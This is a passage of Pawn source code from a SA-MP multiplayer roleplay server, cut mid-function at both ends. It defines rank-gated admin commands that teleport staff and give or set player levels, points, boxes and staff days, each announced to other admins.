					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, TeleportDest[playerid][0],TeleportDest[playerid][1],TeleportDest[playerid][2]);
					}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Mark");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s has teleported to %s mark.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
				AdminWarn(sttrr);
					SetPlayerVirtualWorld(playerid,TelportEtela[playerid][0]);
						SetPlayerInterior(playerid,TelportEtela[playerid][1]);
						Mahal[playerid] = TelportEtela[playerid][2];
						TooHouse[playerid] = TelportEtela[playerid][3];
						TooBiz[playerid] = TelportEtela[playerid][4];
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(!strcmp(cmd, "/goback", true))
		{
			if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pHelper] == 0 && PINFO[playerid][pSponser] == 0)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: Your admin/helper level isn't high enough to use this command.");
			return 1;
			}
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(!IsPlayerInAnyVehicle(playerid))
			{
				SetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
			}
			SetPlayerInterior(playerid, GoBack1[playerid][0]);
			SetPlayerVirtualWorld(playerid, GoBack1[playerid][1]);
			Mahal[playerid] = GoBack1[playerid][2];
			TooHouse[playerid] = GoBack1[playerid][3];
			TooBiz[playerid] = GoBack1[playerid][4];
			if(IsPlayerInAnyVehicle(playerid))
			{
				SetVehiclePos(GetPlayerVehicleID(playerid), GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				LinkVehicleToInterior(GetPlayerVehicleID(playerid), GoBack1[playerid][0]);
				SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), GoBack1[playerid][1]);
			}
			if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0)
			{
		  new hlp[512];
		  format(hlp, sizeof(hlp), "[Helper-Warn]: {FFFFFF}Helper %s goes back.", PlayerInfo[playerid][pName]);
		  SendHelperMessage(COLOR_SINAABI, hlp);
		  }
		  
			if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 6)
			{
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s goes back.", PINFO[playerid][pName]);
		  AdminWarn(sttrr);
		  }
			
			
			
			return SCM(playerid, COLOR_GRAD1, "You have been teleported to your Old Position.");
		}
		/*
	if(strcmp(cmd, "/giveapproval", true) == 0 || strcmp(cmd, "/giveapp", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /giveapproval <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't give another players approval. you can just set approval for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 7)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pApproval] = PlayerInfo[para1][pApproval] + level;
					SaveKonVal(para1, "pApproval", PlayerInfo[para1][pApproval]);
					format(string, sizeof(string), "{00FF00}Shoma Tavasote Admin {FF0000}%s{00FF00}, Meghdare {FF0000}%d{00FF00} Approval Daryaft Kardid", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Be {FF0000}%s{00FF00}, Meghdare {FF0000}%d {00FF00}Approval Dadid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Given Approval To %s, Value: %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	if(strcmp(cmd, "/givebox", true) == 0 || strcmp(cmd, "/giveboxes", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /giveboxes <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pBox] = PlayerInfo[para1][pBox] + level;
					SaveKonVal(para1, "pBox", PlayerInfo[para1][pBox]);
					format(string, sizeof(string), "You have received %d box(es) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d box(es) to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %d box(es) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	if(strcmp(cmd, "/giverespect", true) == 0 || strcmp(cmd, "/giverespects", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /giverespects <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 10)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pExp] = PlayerInfo[para1][pExp] + level;
					SaveKonVal(para1, "pExp", PlayerInfo[para1][pExp]);
					format(string, sizeof(string), "You have received %s respect points from %s", FormatNumber(level),sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d respects to %s.", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %s respect points to %s", sendername,FormatNumber(level),giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	   if(strcmp(cmd, "/givedis", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givedis <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pStaffDays] = PlayerInfo[para1][pStaffDays] + level;
					SaveKonVal(para1, "pStaffDays", PlayerInfo[para1][pStaffDays]);
					format(string, sizeof(string), "Admin %s has given you %s days in staff.", sendername,FormatNumber(level));
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "{ffffff}You have given %d days in staff to %s.", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTRED, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s given %s days in staff to %s.", sendername,FormatNumber(level),giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	
	if(strcmp(cmd, "/givefp", true) == 0 || strcmp(cmd, "/givefactionpunish", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givefactionpunish <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 10)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pPunish] = PlayerInfo[para1][pPunish] + level;
					SaveKonVal(para1, "pPunish", PlayerInfo[para1][pPunish]);
					format(string, sizeof(string), "You have received %d faction punish(es) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d faction punish(es) to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %d faction punish(es) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	if(strcmp(cmd, "/givelevel", true) == 0 || strcmp(cmd, "/givelevels", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givelevel <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pLevel] = PlayerInfo[para1][pLevel] + level;
					SaveKonVal(para1, "pLevel", PlayerInfo[para1][pLevel]);
					SetPlayerScore(para1,PlayerInfo[para1][pLevel]);
					format(string, sizeof(string), "You have received %d level(s) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d level(s) to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %d level(s) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	if(strcmp(cmd, "/givepoint", true) == 0 || strcmp(cmd, "/givepoints", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givepoints <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pPoint] = PlayerInfo[para1][pPoint] + level;
					SaveKonVal(para1, "pPoint", PlayerInfo[para1][pPoint]);
					//SetPlayerScore(para1,PlayerInfo[para1][pPoint]);
					format(string, sizeof(string), "You have received %d point(s) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d point(s) to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %d point(s) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	
	   if(strcmp(cmd, "/givestaffpoint", true) == 0 || strcmp(cmd, "/givestaffpoints", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givestaffpoint <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pSPoint] = PlayerInfo[para1][pSPoint] + level;
					SaveKonVal(para1, "pSPoint", PlayerInfo[para1][pSPoint]);
					//SetPlayerScore(para1,PlayerInfo[para1][pSPoint]);
					format(string, sizeof(string), "You have received %d point(s) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d staff point(s) to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given %d staff point(s) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	   if(strcmp(cmd, "/givehday", true) == 0 || strcmp(cmd, "/givehosterday", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givehosterday <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);


	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pHDay] = PlayerInfo[para1][pHDay] + level;
					SaveKonVal(para1, "pHDay", PlayerInfo[para1][pHDay]);
					//SetPlayerScore(para1,PlayerInfo[para1][pLevel]);
					format(string, sizeof(string), "You have received %d hoster day(s) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d hoster expire date to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s given %d hoster day(s) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	
		  if(strcmp(cmd, "/givesday", true) == 0 || strcmp(cmd, "/givesponserday", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givesponserday <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);


	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					PlayerInfo[para1][pSDay] = PlayerInfo[para1][pSDay] + level;
					SaveKonVal(para1, "pSDay", PlayerInfo[para1][pSDay]);
					//SetPlayerScore(para1,PlayerInfo[para1][pLevel]);
					format(string, sizeof(string), "You have received %d sponsor day(s) from %s", level,sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, string);
					//format(string, sizeof(string), "You have given %d sponsor expire date to %s", level,giveplayer);
					//SendClientMessage(playerid, COLOR_LIGHTBLUE, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s given %d sponsor day(s) to %s", sendername,level,giveplayer);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	
	
	
	
	
	
	
	
	/*
	if(strcmp(cmd, "/setlevel", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setlevel <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players level. you can just set level for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pLevel] = level;
						SaveKonVal(para1, "pLevel", level);
						SetPlayerScore(para1,PlayerInfo[para1][pLevel]);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Level Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Levele {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Level To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	   if(strcmp(cmd, "/setstaffpoint", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setstaffpoint <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pSPoint] = level;
						SaveKonVal(para1, "pSPoint", level);
						//SetPlayerScore(para1,PlayerInfo[para1][pLevel]);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Staff Point Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Staff Pointe {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Staff Point To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	   if(strcmp(cmd, "/setpoint", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setpoint <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pPoint] = level;
						SaveKonVal(para1, "pPoint", level);
						//SetPlayerScore(para1,PlayerInfo[para1][pPoint]);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Shop Point Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Shop Pointe {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Shop Point To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	
		  if(strcmp(cmd, "/setpoint", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setpoint <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pSPoint] = level;
						SaveKonVal(para1, "pSPoint", level);
